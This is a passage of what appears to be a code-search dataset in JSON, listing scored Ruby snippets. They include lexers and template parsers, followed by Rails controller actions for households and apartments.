"6e4832a6e2390ebe9915ed57e45d1976", "score": "0.58455706", "text": "def lex(source)\n lexer = Lexer.new\n lexer.skip_comments = true\n lexer.skip_newlines = false\n lexer.run(source).tokens\nend", "title": "" }, { "docid": "5467b924e6435d6bfc86328082445c02", "score": "0.58230656", "text": "def text_token(text, kind); end", "title": "" }, { "docid": "5467b924e6435d6bfc86328082445c02", "score": "0.58230656", "text": "def text_token(text, kind); end", "title": "" }, { "docid": "9f0d79b48e794ecac4fb6aa87c40c508", "score": "0.58207256", "text": "def nextToken\n case\n\n # integer literals and float literals\n when @file.check(/\\d/)\n # scan until the digits end\n region = @file.scan(/\\d+/)\n\n # if the very next char is alpha, crash\n if @file.check(/[a-zA-Z]/)\n token_error \"illegal token\"\n\n # if the very next char is a .\n elsif @file.check(/\\./)\n region << @file.getch # append the .\n decimal = @file.scan(/\\d+/)\n # if there was at least 1 decimal after the \".\"\n # & no word chars directly after the digits\n if decimal && [email protected](/\\w+/)\n region << decimal\n build_token :FLOAT, region.to_f\n else\n token_error \"bad floating-point literal\"\n end\n else\n build_token :INT, region.to_i\n end\n\n\n # crashes on a floating point that starts with the point\n when @file.check(/\\./)\n token_error \"bad floating-point literal\"\n\n\n\n # string literals\n when @file.check(/\\\"/)\n # get the \"\n region = @file.getch\n\n # attempt to find the closing \" or an end line\n scan = @file.scan_until(/$|\\\"/)\n\n # if the scan found a \"\n if scan.last(1) == '\"'\n region << scan # append scan to the opening \"\n build_token :STRING, region\n\n else\n token_error \"unclosed string literal\"\n end\n\n\n # comments\n when @file.check(/\\/\\*/)\n keep_looking = true\n while keep_looking\n\n # if we've looked to the end of the file, crash\n if @file.eos?\n keep_looking = false\n token_error \"unclosed comment\"\n\n # scan for */ or end of line or EOF\n else\n region = @file.scan_until(/\\*\\/|\\r\\n|\\z/)\n if region.last(2) == \"*/\"\n # we found the end of the comment\n keep_looking = false\n else\n @@lineCount += 1\n end\n end\n end\n nextToken\n\n # IDs\n when @file.check(/[a-zA-Z]/)\n region = @file.scan(/\\w+/) # scan all word chars\n build_token :ID, region\n\n # plus +\n when @file.check(/\\+/)\n @file.getch\n build_token :PLUS, \" \"\n\n # subtract -\n when @file.check(/\\-/)\n @file.getch\n build_token :MINUS, \" \"\n\n # multiply *\n when @file.check(/\\*/)\n @file.getch\n build_token :MULT, \" \"\n\n # divide /\n when @file.check(/\\//)\n @file.getch\n build_token :DIVIDE, \" \"\n\n # modulus %\n when @file.check(/\\%/)\n @file.getch\n build_token :MODULUS, \" \"\n\n # power ^\n when @file.check(/\\^/)\n @file.getch\n build_token :POWER, \" \"\n\n # left paren (\n when @file.check(/\\(/)\n @file.getch\n build_token :LPAREN, \" \"\n\n # right paren )\n when @file.check(/\\)/)\n @file.getch\n build_token :RPAREN, \" \"\n\n # assignment =\n when @file.check(/\\=/)\n @file.getch\n build_token :ASSIGN, \" \"\n\n # semicolon ;\n when @file.check(/\\;/)\n @file.getch\n build_token :SEMICOLON, \" \"\n\n # newline\n when @file.check(/\\r\\n/)\n @@lineCount = @@lineCount + 1\n @file.scan_until(/\\r\\n/)\n nextToken\n\n # end of file\n when @file.check(/\\z/)\n @file.scan_until(/\\z/)\n build_token :EOF, \" \"\n\n # space or tab\n # this must be last since it will accept\n # on newline/eof\n when @file.check(/\\s/)\n @file.getch\n nextToken\n\n # if all else fails...\n else\n token_error \"invalid input\"\n\n end # case\n end", "title": "" }, { "docid": "e6e9281ee5a6ec8d214e4158aa39627b", "score": "0.580557", "text": "def split_lines\n old_tabs = 0\n @template.each_with_index do |line, index|\n @line = index + 1\n \n # TODO: Allow comments appended to the end of lines,\n # find some way to make url(http://www.google.com/) work\n unless line[0..1] == COMMENT_STRING # unless line is a comment\n tabs = count_tabs(line)\n \n if tabs # if line isn't blank\n if tabs - old_tabs > 1\n raise SyntaxError.new(\"Illegal Indentation: Only two space characters are allowed as tabulation.\", @line) \n end\n @lines << [line.strip, tabs]\n\n old_tabs = tabs\n end\n end\n end\n @line = nil\n end", "title": "" }, { "docid": "a63b89da2647c55ec8e31438e91ab9ec", "score": "0.58005404", "text": "def parse_template_pattern(pattern, processor = T.unsafe(nil)); end", "title": "" }, { "docid": "8ef11d988c22229d337b4c3495d47f66", "score": "0.57883453", "text": "def parse(source_buffer); end", "title": "" }, { "docid": "fa274d4d3338bc58a86afb803b556b95", "score": "0.5769491", "text": "def get_tokens_for_each_line src\n tokens = Ripper\n .lex(src)\n .then { |lexed| group_tokens_by_line_num lexed }\n .then { |grouped| add_missing_lines grouped }\n .values\n\n if block_given? then yield tokens else tokens end\n end", "title": "" }, { "docid": "f2d9c718b66740a13835a9676e9e10ee", "score": "0.57665354", "text": "def tokenize\n @tokens = TokenList.new\n tok = nil\n brackets_open = 0\n for i in 0...content.length\n c = content[i].chr\n brackets_open += 1 if c == \"[\"\n if brackets_open == 0\n # not in command, nothing special here\n (tok ||= Token::Text.new) << c\n else\n case c\n when '\"', \"'\", \"[\", \"]\", \"/\"\n @tokens << tok if tok\n tok = nil\n @tokens << Token.create(c)\n else\n is_whitespace = (c =~ /\\s/)\n if tok and ((is_whitespace and tok.is_a? Token::Whitespace) or (!is_whitespace and tok.is_a? Token::Text))\n tok << c\n else\n @tokens << tok if tok\n tok = Token.create(c)\n end\n end\n end\n brackets_open -= 1 if c == \"]\"\n end\n @tokens << tok if tok\n end", "title": "" }, { "docid": "8beb04d8775fdcbd507ad652c164a385", "score": "0.5763767", "text": "def token(content, kind); end", "title": "" }, { "docid": "a7e7c1fee386cd509fba9751a0411b17", "score": "0.5762755", "text": "def generate(source)\r\n input_lines = source.split(/\\r\\n?|\\n/)\r\n\r\n raw_lines = input_lines.map do |line|\r\n line_items = self.class.parse(line)\r\n line_items.each do |(kind, text)|\r\n if (kind == :dynamic) && text.strip.empty?\r\n raise EmptyParameterError.new(line.strip)\r\n end\r\n end\r\n line_items\r\n end\r\n\r\n template_lines = raw_lines.map { |line| generate_line(line) }\r\n return generate_sections(template_lines.flatten)\r\n end", "title": "" }, { "docid": "c00926127ab770d5c11dfcb71f223cc2", "score": "0.57600653", "text": "def tokenize(code)\n @code = code.chomp # Cleanup code by remove extra line breaks\n @i = 0 # Current character position we're parsing\n @line = 1 # The current line.\n @indent = 0 # The current indent level.\n @indents = [] # The stack of all indent levels we are currently within.\n @tokens = [] # Collection of all parsed tokens in the form [:TOKEN_TYPE, value]\n while @i < @code.length\n @chunk = @code[@i..-1]\n extract_next_token\n end\n puts \"original stream: #{@tokens.inspect}\" if ENV['VERBOSE']\n close_indentation\n adjust_comments\n remove_mid_expression_newlines\n move_commas_outside_outdents\n add_implicit_indentation\n ensure_balance(*BALANCED_PAIRS)\n rewrite_closing_parens\n @tokens\n end", "title": "" }, { "docid": "380c54755c8742250a9e0a2fbe951ff5", "score": "0.57476515", "text": "def tokenize( text, current_line_number = 0 )\n return '' if (@line_timeout > 0) && (current_line_number > @line_timeout)\n token = ''\n sidx = get_start_index( text )\n if ( sidx && (text.size >= sidx.to_i) )\n eidx = get_end_index( text )\n token = ( text[ sidx .. eidx ] ).strip if eidx\n end\n# DEBUG\n# puts \"-- after tokenize: \" << (@computed_start ? \"cached: (#{@computed_start}..\" : 'cached: (nil..') << (@computed_end ? \"#{@computed_end})\" : 'nil)')\n token\n end", "title": "" }, { "docid": "963d8686e2bb04666679ddc9a8fc8408", "score": "0.57411164", "text": "def instantiate(apply_posttransform = true)\n # Main variables put in local scope for efficiency:\n # - template: current parsed template\n # - source_text: current template's source text\n # - offset: matching current position\n # - pattern: current dialect's regexp pattern\n # - rules: handlers of '{' currently opened\n template = self.template\n symbols = self.template.block_symbols\n source_text = self.source_text\n dialect = self.dialect\n buffer = self.buffer\n pattern = dialect.pattern(template.block_symbols)\n rules = []\n \n # we start matching everything in the ruleset\n while match_at=source_text.index(pattern, self.offset)\n match, match_length = $~[0], $~[0].length\n \n # puts pre_match (we can't use $~.pre_match !)\n self.<<(source_text[self.offset, match_at-self.offset], false) if match_at>0\n \n if source_text[match_at,1]=='\\\\' # escaping sequence\n self.<<(match[1..-1], false)\n self.offset = match_at + match_length\n \n elsif match.length==1 # simple '{' or '}' here\n self.offset = match_at + match_length\n if match==Template::BLOCK_SYMBOLS[symbols][0]\n self.<<(match, false) # simple '{' are always pushed\n # we push '{' in rules to recognize it's associated '}'\n # that must be pushed on buffer also\n rules << match \n else\n # end of my job if I can't pop a previous rule\n break if rules.empty?\n # otherwise, push '}' only if associated to a simple '{'\n self.<<(match, false) unless Rule===rules.pop\n end\n \n elsif match[-1,1]==Template::BLOCK_SYMBOLS[symbols][0] # opening special tag\n # following line should never return nil as the matching pattern comes \n # from the ruleset itself!\n rule_symbol = match[0..-2]\n rule = dialect.ruleset[rule_symbol] \n rules << rule\n \n # Just added to get the last position in case of an error\n self.offset = match_at + match_length\n\n # lauch that rule, get it's replacement and my new offset\n replacement, self.offset = launch_rule(dialect, rule_symbol, rule, self.offset)\n \n # push replacement\n self.<<(replacement, true) unless replacement.empty?\n end\n \n end # while match_at=...\n \n # trailing data (end of template reached only if no match_at)\n unless match_at\n unexpected_eof(source_text.length, '}') unless rules.empty?\n self.<<(source_text[self.offset, 1+source_text.length-self.offset], false)\n self.offset = source_text.length\n end\n \n # Apply post-transformation only if required\n if apply_posttransform\n [dialect.apply_post_transform(buffer), self.offset-1]\n else\n [buffer, self.offset-1]\n end\n end", "title": "" }, { "docid": "3c5fecad872a7886ad02aa43d8ac3834", "score": "0.5737959", "text": "def parse(raw_string)\n # read_tokens_only tokenize(s)\n read_tokens before_read(tokenize(raw_string))\nend", "title": "" }, { "docid": "4016a5f8ae51d8e8c611e390063069b3", "score": "0.572816", "text": "def source_text() state.template.source_text; end", "title": "" }, { "docid": "c29bf1adad99586773b9c2d786d4be34", "score": "0.5727173", "text": "def filter_template(source)\n return source\n end", "title": "" }, { "docid": "1cf58a05ea6105d5776752f1fa2af6b8", "score": "0.57154214", "text": "def space_tokens\n\n line_array=@text_to_process.split(\"\\n\")\n\n for line in line_array do\n\n #There is a pattern we need to observe\n # A line of code like this-->\n # for(c=1;c<1-;c++)\n # We need to sepearte for and (\n # However, for a code like this-->\n # getStuff(), getstuff and ( need to be together so as we can identify it as a method\n # We cannot strip comments before identifiers as well because we will lose the info on which lines are package imports/library includes or declaration line\n #Hence our keywords need some special treatment\n line_split=line.split(\" \")\n line=\"\"\n\n for word in line_split\n for keyword in @confinstance.words_list do\n if word.include?(keyword)\n new_keyword=\" \" << keyword << \" \"\n word.sub!(keyword,new_keyword)\n end\n end\n line << word\n end\n\n #Space'commas' and semicolon\n line.gsub!(\",\",\" , \")\n line.gsub!(\";\",\" ; \")\n\n\n line.gsub!(\"{\",\" { \")\n line.gsub!(\"}\",\" } \")\n line.gsub!(\"[\",\" [ \")\n line.gsub!(\"]\",\" ] \")\n line.gsub!(\"(\",\"( \") #keep attached to method but seperate from parameter within\n line.gsub!(\")\",\" ) \")\n line.gsub!(\"+\",\" + \") #Case when c++ c + +\n line.gsub!(\"-\",\" - \")\n\n #For all words with =,:,<,> sticked together we can seperate the identifier.methodname() or identifier:list with a space so as they can be later properly identified as a sepearte varibale\n #We need them at this stage to differentiate between different tokens, so they will be removed in a later stage\n line.gsub!(\"=\",\" = \")\n line.gsub!(\":\",\" : \")\n line.gsub!(\"<\",\" < \")\n line.gsub!(\">\",\" > \")\n line.gsub!(\".\",\". \")\n\n\n #Remove @\n line.gsub!(\"@\",\"\")\n\n @filtered_text << line+\"\\n\"\n end\n\n switch_text\n\n end", "title": "" }, { "docid": "0c161356c11e3b4b174a6f66434b7a1e", "score": "0.5704312", "text": "def next\n\n # check if we start with a comment\n stripped = @sparc_str.lstrip\n if stripped.start_with?('!') || stripped.start_with?(\"/*\")\n return @front = token(:cmt, comment)\n end\n\n # no comment, skip ahead to content\n amt_skipped = @sparc_str.length - stripped.length\n skip amt_skipped\n\n # dup current location again, after skipping whitespace\n @prev_loc = @current_loc.dup\n\n # check if we're at end of file\n if empty?\n return @front = token(:eof, nil)\n end\n\n # any other identifiers\n if ID_REGEX.match(@sparc_str)\n return @front = token(:idt, ident)\n end\n\n # determine what to do based on first char\n @front = case @sparc_str[0]\n # single length tokens\n when \"%\" then token(:per, single)\n when \":\" then token(:cln, single)\n when \".\" then token(:dot, single)\n when \",\" then token(:cma, single)\n when \"[\" then token(:obr, single)\n when \"]\" then token(:cbr, single)\n when \"(\" then token(:opn, single)\n when \")\" then token(:cpn, single)\n when \"+\" then token(:add, single)\n when \"-\" then token(:sub, single)\n when \"&\" then token(:and, single)\n when \"|\" then token(:bar, single)\n when \"^\" then token(:xor, single)\n when \"=\" then token(:asn, single)\n\n # string/char literals\n when '\"' then token(:str, string_lit)\n when \"'\" then token(:chr, char_lit)\n\n # Number literals\n when /[0-9]/ then token(:num, *(number.flatten))\n\n # fail fast on unexpected input\n else\n raise RuntimeError.new(\n \"Unexpected first char for @sparc_str: ---\\n#{@sparc_str}\\n---\")\n end\n end", "title": "" }, { "docid": "862c976050920d4f579da17613439b69", "score": "0.56980973", "text": "def tokenise(s)\n words = s.split(@split).delete_if {|w| w.nil? || w.strip.empty? }\n puts \"WORDS: #{words}\" \n words.map! do |word|\n p = @parsers.find {|p| p.match(word.strip) }\n p ? p.dup : Verbatim.new(\"verbatim\", word.strip)\n end\n end", "title": "" }, { "docid": "89a74be71aef3c6027869dd249967265", "score": "0.56954706", "text": "def tokenize\n @current_char_pos = -1\n to_a\n end", "title": "" }, { "docid": "7e943769ed474ef55c7c2e62c7c7403b", "score": "0.56949633", "text": "def tokenize\n @code.gsub('(', ' ( ')\n .gsub(')', ' ) ')\n .split(' ')\n end", "title": "" }, { "docid": "6a3f3b7ab7b4a60578b89767146a99b2", "score": "0.56794906", "text": "def test_heredoc_tokenization_with_amgibuous_delimiter\n @sf.stubs(:source).returns(<<-SOURCE)\nvar = <<WARNING\nWARNING Blah Blah Blah\nAnd something more\nWARNING\nSOURCE\n @sf.tokenize!\n tokens = @sf.lines[0].tokens\n assert_equal 6, tokens.size\n assert_token tokens[4], :heredoc_delimiter, \"<<WARNING\"\n tokens = @sf.lines[1].tokens\n assert_equal 2, tokens.size\n assert_token tokens[0], :heredoc_body, \"WARNING Blah Blah Blah\\nAnd something more\\nWARNING\"\n end", "title": "" }, { "docid": "d887dd954be3e8320c8d09a1b0862f46", "score": "0.56786954", "text": "def consume_delim\n unexpected_token(DELIM) if @template_name.empty? && chr == DELIM\n\n current_name = @template_name.join\n\n case current_name\n when \"if\"\n unexpected_keyword(current_name)\n\n when \"else\"\n unexpected_keyword(current_name) if @state_stack.empty?\n\n if current_stack == STATE_TEMPLATE_CONDITIONAL_ELSE_IF\n parent = @current_conditional.parent\n raise \"BUG: ElseIf without parent\" if parent.nil?\n raise \"BUG: ElseIf without conditional parent\" unless parent.is_a? Conditional\n\n @current_conditional = parent\n end\n\n replace_stack STATE_TEMPLATE_CONDITIONAL_ELSE\n transition STATE_LITERAL\n @template_name = []\n nil\n\n when \"endif\"\n unexpected_keyword(current_name) if @state_stack.empty?\n\n pop_stack\n prev_cond = @current_conditional.parent\n if prev_cond.nil?\n @current_conditional = nil\n elsif !prev_cond.is_a?(Conditional)\n raise \"BUG: Parent is not conditional\"\n end\n @current_conditional = prev_cond\n transition STATE_LITERAL\n @template_name = []\n return nil\n end\n\n commit_template\n transition STATE_LITERAL\n end", "title": "" } ]
a0cead31846c8da2dca91fcb684c2086
POST /ag/household_apartments POST /ag/household_apartments.json
[ { "docid": "6e7e66cf5c5ff72268b6aaed5341caf8", "score": "0.69542843", "text": "def create\n @ag_household_apartment = Ag::HouseholdApartment.new(ag_household_apartment_params)\n\n respond_to do |format|\n if @ag_household_apartment.save\n format.html { redirect_to @ag_household_apartment, notice: 'Household apartment was successfully created.' }\n format.json { render :show, status: :created, location: @ag_household_apartment }\n else\n format.html { render :new }\n format.json { render json: @ag_household_apartment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "745f8aad279e07bee86054a9e6a55543", "score": "0.6879704", "text": "def create\n @ag_household = Ag::Household.new(ag_household_params)\n\n respond_to do |format|\n if @ag_household.save\n format.html { redirect_to @ag_household, notice: 'Household was successfully created.' }\n format.json { render :show, status: :created, location: @ag_household }\n else\n format.html { render :new }\n format.json { render json: @ag_household.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bef9bf7f22a4dfdba9cf781f95ecfa60", "score": "0.6458132", "text": "def create\n @anhousehold = Anhousehold.new(anhousehold_params)\n respond_to do |format|\n if @anhousehold.save\n format.html { redirect_to anhouseholds_path, notice: 'Anhousehold was successfully created.' }\n format.json { render action: 'show', status: :created, location: @anhousehold }\n else\n format.html { render action: 'new' }\n format.json { render json: @anhousehold.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce04e22cb0ab9f2c07e65f775a0010c8", "score": "0.6295729", "text": "def ag_household_apartment_params\n params.require(:ag_household_apartment).permit(:moved_id, :moved_out, :cost, :ag_apartment_id, :ag_household_id, :ag_public_housing_devels_id)\n end", "title": "" }, { "docid": "c83c0d0521bb98a30ddabcf639610d25", "score": "0.62460345", "text": "def index\n @ag_household_apartments = Ag::HouseholdApartment.all\n end", "title": "" }, { "docid": "b9b04517466a83144abcdf221394ab98", "score": "0.6121827", "text": "def create\n @household = Household.new(household_params)\n\n respond_to do |format|\n if @household.save\n format.html { redirect_to @household, notice: 'Household was successfully created.' }\n format.json { render :show, status: :created, location: @household }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @household.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b76208f9e789e67bdccdd4b1f64af265", "score": "0.611705", "text": "def create\n @household = Household.new(params[:household])\n\n respond_to do |format|\n if @household.save\n format.html { redirect_to @household, :notice => 'Household was successfully created.' }\n format.json { render :json => @household, :status => :created, :location => @household }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @household.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5500cd74957273a8801ecc41eb9792ab", "score": "0.61168563", "text": "def create\n @apartment = Apartment.new(params[:apartment])\n\n if @apartment.save\n render json: @apartment, status: :created, location: @apartment\n else\n render json: @apartment.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b9b61606800c92250dc2f0db354e55c5", "score": "0.6110703", "text": "def create\n @household = Household.new(params[:household])\n\n respond_to do |format|\n if @household.save\n format.html { redirect_to @household, notice: 'Household was successfully created.' }\n format.json { render json: @household, status: :created, location: @household }\n else\n format.html { render action: \"new\" }\n format.json { render json: @household.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9b61606800c92250dc2f0db354e55c5", "score": "0.61104804", "text": "def create\n @household = Household.new(params[:household])\n\n respond_to do |format|\n if @household.save\n format.html { redirect_to @household, notice: 'Household was successfully created.' }\n format.json { render json: @household, status: :created, location: @household }\n else\n format.html { render action: \"new\" }\n format.json { render json: @household.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a514a7ec375cc1dd64b14abc78c313d", "score": "0.60829383", "text": "def create\n @household = Household.new(household_params)\n\n respond_to do |format|\n if @household.save\n format.html { redirect_to @household, notice: 'Household was successfully created.' }\n format.json { render :show, status: :created, location: @household }\n else\n format.html { render :new }\n format.json { render json: @household.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "491d9c0669e20c8263c5d6b0c1c856c3", "score": "0.60738736", "text": "def create\n @appartment = Appartment.new(appartment_params)\n respond_to do |format|\n if @appartment.save\n format.html { redirect_to house_path(@appartment.house.id), notice: 'Appartment was successfully created.' }\n format.json { render :show, status: :created, location: @appartment }\n else\n format.html { render :new }\n format.json { render json: @appartment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "036ee36b34ec2ffa951a90e56888b40d", "score": "0.6030608", "text": "def create\n @household = Household.new(household_params)\n\n respond_to do |format|\n if @household.save\n format.html { redirect_to @household, notice: 'Household was successfully created.' }\n format.json { render action: 'show', status: :created, location: @household }\n else\n format.html { render action: 'new' }\n format.json { render json: @household.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "06040e002906dd0549e61299060a040d", "score": "0.5989853", "text": "def create\n @ag_household_member = Ag::HouseholdMember.new(ag_household_member_params)\n\n respond_to do |format|\n if @ag_household_member.save\n format.html { redirect_to @ag_household_member, notice: 'Household member was successfully created.' }\n format.json { render :show, status: :created, location: @ag_household_member }\n else\n format.html { render :new }\n format.json { render json: @ag_household_member.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8e6f373569e9e2302706af079f4b465", "score": "0.5984087", "text": "def create\n @apportionment_per_greenhouse = ApportionmentPerGreenhouse.new(apportionment_per_greenhouse_params)\n\n respond_to do |format|\n if @apportionment_per_greenhouse.save\n format.html { redirect_to @apportionment_per_greenhouse, notice: 'Apportionment per greenhouse was successfully created.' }\n format.json { render action: 'show', status: :created, location: @apportionment_per_greenhouse }\n else\n format.html { render action: 'new' }\n format.json { render json: @apportionment_per_greenhouse.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0fc23738914435943c75d312199ea9d", "score": "0.5955454", "text": "def index\n @apartments = Apartment.all\n render json: @apartments\n end", "title": "" }, { "docid": "fd614469e6f94f1c9b575509d3505fd1", "score": "0.59303415", "text": "def create\n @apartment_payment = ApartmentPayment.new(apartment_payment_params)\n @apartment_payment.office_deal_id= @office_deal.id\n\n respond_to do |format|\n if @apartment_payment.save\n format.html { redirect_to office_deal_apartment_payments_path, notice: 'Apartment payment was successfully created.' }\n# format.json { render :show, status: :created, location: @apartment_payment }\n else\n format.html { render :new }\n format.json { render json: @apartment_payment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "613d6ec8653dde774a20ec7fad9d186d", "score": "0.5928462", "text": "def set_ag_household_apartment\n @ag_household_apartment = Ag::HouseholdApartment.find(params[:id])\n end", "title": "" }, { "docid": "f9038726adcd825c10748e082e97451a", "score": "0.58699405", "text": "def create\n @apartum = Apartum.new(apartum_params)\n\n respond_to do |format|\n if @apartum.save\n format.html { redirect_to @apartum, notice: 'Apartum was successfully created.' }\n format.json { render :show, status: :created, location: @apartum }\n else\n format.html { render :new }\n format.json { render json: @apartum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12216e44a4c6f7f24af6fd3e1c63d3d4", "score": "0.5834395", "text": "def create\n @meetup = Meetup.new(meetup_params)\n authorize @meetup\n respond_to do |format|\n if @meetup.save\n @meetup.holdings.create(user_id: current_user.id)\n format.html { redirect_to meetup_path(@meetup) }\n format.json do\n render :show,\n status: :created, location: @meetup\n end\n else\n format.html { render :new }\n format.json do\n render json: @meetup.errors,\n status: :unprocessable_entity\n end\n end\n end\n end", "title": "" }, { "docid": "f79f7c65026ccccd7c799ab61f1038a9", "score": "0.5832362", "text": "def create\n @api_v1_establishment = Establishment.new(api_v1_establishment_params)\n\n respond_to do |format|\n if @api_v1_establishment.save\n format.html { redirect_to @api_v1_establishment, notice: 'Establishment was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_establishment }\n else\n format.html { render :new }\n format.json { render json: @api_v1_establishment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2a60f0a6e41a2627c062cb753a676c7", "score": "0.5778933", "text": "def destroy\n @ag_household_apartment.destroy\n respond_to do |format|\n format.html { redirect_to ag_household_apartments_url, notice: 'Household apartment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "12722e425ec61d871685bbf3f35dca05", "score": "0.57717997", "text": "def create\n @overlap_holding = OverlapHolding.new(overlap_holding_params)\n\n respond_to do |format|\n if @overlap_holding.save\n format.html { redirect_to @overlap_holding, notice: 'Overlap holding was successfully created.' }\n format.json { render :show, status: :created, location: @overlap_holding }\n else\n format.html { render :new }\n format.json { render json: @overlap_holding.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9280000a4b4e8a3751105ee94fb6d1c7", "score": "0.57692224", "text": "def ag_household_params\n params.require(:ag_household).permit(:owned, :subsidized)\n end", "title": "" }, { "docid": "49874b618f1077bd10a6e51aa2a16b58", "score": "0.574972", "text": "def add_apartment(key, value)\n $apartments = {key =>value}\n end", "title": "" }, { "docid": "cfe25ead91b956a573f1ae9c04d9f315", "score": "0.57407254", "text": "def create\n @house_hold = current_user.admin_houses.build(house_hold_params)\n\n respond_to do |format|\n if @house_hold.save\n format.html { redirect_to @house_hold, notice: 'House hold was successfully created.' }\n format.json { render :show, status: :created, location: @house_hold }\n else\n format.html { render :new }\n format.json { render json: @house_hold.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58ecf4db1b4c49708a03df0ff652b30c", "score": "0.57252854", "text": "def create\n building = Building.find(params[:building_id])\n @apartment = Apartment.new(apartment_params.merge(building_id: building.id))\n\n respond_to do |format|\n if @apartment.save\n format.html { redirect_to building_apartment_path(building, @apartment), notice: \"Apartment was successfully created.\" }\n format.json { render :show, status: :created, location: @apartment }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @apartment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2af0b7bec0245a091b4c61e81bf598ed", "score": "0.57224786", "text": "def update\n respond_to do |format|\n if @ag_household_apartment.update(ag_household_apartment_params)\n format.html { redirect_to @ag_household_apartment, notice: 'Household apartment was successfully updated.' }\n format.json { render :show, status: :ok, location: @ag_household_apartment }\n else\n format.html { render :edit }\n format.json { render json: @ag_household_apartment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21cd005e114fb442463bbf987f70a0f8", "score": "0.5718831", "text": "def anhousehold_params\n params.require(:anhousehold).permit(:number_district, :danalog, :darea_building, :darea_land,\n :dvalue_proposition_usd, :dvalue_proposition_usd_no_land,\n :dvalue_proposition_usd_kvm, :dcategory_repair, :dsource_information,\n :zanalog, :zarea, :zpurpose, :zvalue_proposition_usd, :zsource_information,\n :zvalue_proposition_usd_kvm, :mediana )\n end", "title": "" }, { "docid": "402db369a79422d96c0c6850e70ab1c7", "score": "0.57121044", "text": "def create\n @apartment = Apartment.new(apartment_params)\n\n respond_to do |format|\n if @apartment.save\n format.html { redirect_to apartment_list_url, notice: 'Apartment was successfully created.' }\n format.json { render :show, status: :created, location: @apartment }\n else\n format.html { redirect_to apartment_list_url, notice: 'Apartment failed to be created.' }\n format.json { render json: @apartment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e61ffdce4781cd51e42525e5a7328bcb", "score": "0.5708783", "text": "def add_apartment apartment\n @apartments << apartment\n end", "title": "" }, { "docid": "e61ffdce4781cd51e42525e5a7328bcb", "score": "0.5708783", "text": "def add_apartment apartment\n @apartments << apartment\n end", "title": "" }, { "docid": "937df831a7be1db8642e8605c8e280ac", "score": "0.57066965", "text": "def create\n stay = Stay.find(params[:stay_id])\n housekeeping = stay.housekeepings.create(safe_params)\n render json: housekeeping\n end", "title": "" }, { "docid": "4df9367284b6204ff528c0b9cc593e3d", "score": "0.5699753", "text": "def create\n ad_params = params.require(:house).permit!\n @house = House.new(ad_params)\n\n respond_to do |format|\n if @house.save\n case params[:commit].to_s\n when \"Create House and Add Sales\"\n format.html { redirect_to new_house_sale_path(@house), notice: \"House was successfully created.\"}\n when \"Create House and Add Listings\"\n format.html { redirect_to new_house_listing_path(@house), notice: \"House was successfully created.\"}\n else\n format.html { redirect_to @house, notice: \"House was successfully created.\"}\n\n end\n\n # format.json { render json: @house, status: :created, location: @house }\n else\n format.html { render action: \"new\" }\n format.json { render json: @house.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40b69ed34eed63903bccd6e492ab60b0", "score": "0.5696965", "text": "def create_household_using_post(household, opts = {})\n data, _status_code, _headers = create_household_using_post_with_http_info(household, opts)\n data\n end", "title": "" }, { "docid": "6d7d55756bf9c583c3f477da9a4525c0", "score": "0.56796265", "text": "def create\n @establishment = Establishment.new(establishment_params)\n\n if @establishment.save\n render :show, status: :created, location: @establishment\n else\n render json: @establishment.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "395a2b0e77f41426208986fa7b4f8678", "score": "0.5663807", "text": "def create_household_using_post_with_http_info(household, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: HouseholdApi.create_household_using_post ...'\n end\n # verify the required parameter 'household' is set\n if @api_client.config.client_side_validation && household.nil?\n fail ArgumentError, \"Missing the required parameter 'household' when calling HouseholdApi.create_household_using_post\"\n end\n # resource path\n local_var_path = '/nucleus/v1/household'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(household)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Household')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: HouseholdApi#create_household_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "95837876c2cff8217e68638283747405", "score": "0.5643933", "text": "def create\n megam_rest.post_billings(to_hash)\n end", "title": "" }, { "docid": "48ff81db9bf92030fe03a2d01e4788c4", "score": "0.5633888", "text": "def create\n 